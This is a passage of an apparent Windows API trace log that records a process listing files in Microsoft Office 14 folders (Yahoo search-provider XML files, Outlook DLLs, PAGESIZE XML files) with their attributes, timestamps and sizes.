cAlternateFileName="TALK21~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="WANSNE~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="YAHOOC~2.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="YA6C44~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="YA8E91~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="YAHOOC~3.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="YAEF96~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="YA186B~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="YACB7D~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="YAE791~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="YA81CD~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="YA02CD~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="YAHOOC~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="YAHOOC~4.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="YA56AC~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="YAEA08~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="YA0670~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="YA6D1B~1.XML")) returned 1 [0205.952] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="YAC50A~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="YAB0F6~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="YA38FD~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.XML", cAlternateFileName="YA531A~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.DE.XML", cAlternateFileName="YAHOOD~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.ES.XML", cAlternateFileName="YAHOOE~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.FR.XML", cAlternateFileName="YAHOOF~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.HK.XML", cAlternateFileName="YAHOOH~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IE.XML", cAlternateFileName="YAHOOI~1.XML")) returned 1 [0205.953] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.IT.XML", cAlternateFileName="YAHOOI~2.XML")) returned 1 [0205.954] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.JP.XML", cAlternateFileName="YAHOOJ~1.XML")) returned 1 [0205.954] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.NO.XML", cAlternateFileName="YAHOON~1.XML")) returned 1 [0205.954] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.PL.XML", cAlternateFileName="YAHOOP~1.XML")) returned 1 [0205.954] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 1 [0205.954] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.SE.XML", cAlternateFileName="YAHOOS~1.XML")) returned 0 [0205.954] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0205.955] GetProcessHeap () returned 0x550000 [0205.955] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0205.955] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0205.956] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0205.956] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0205.956] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0205.956] GetProcessHeap () returned 0x550000 [0205.956] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0205.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0206.023] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0206.023] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0206.024] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 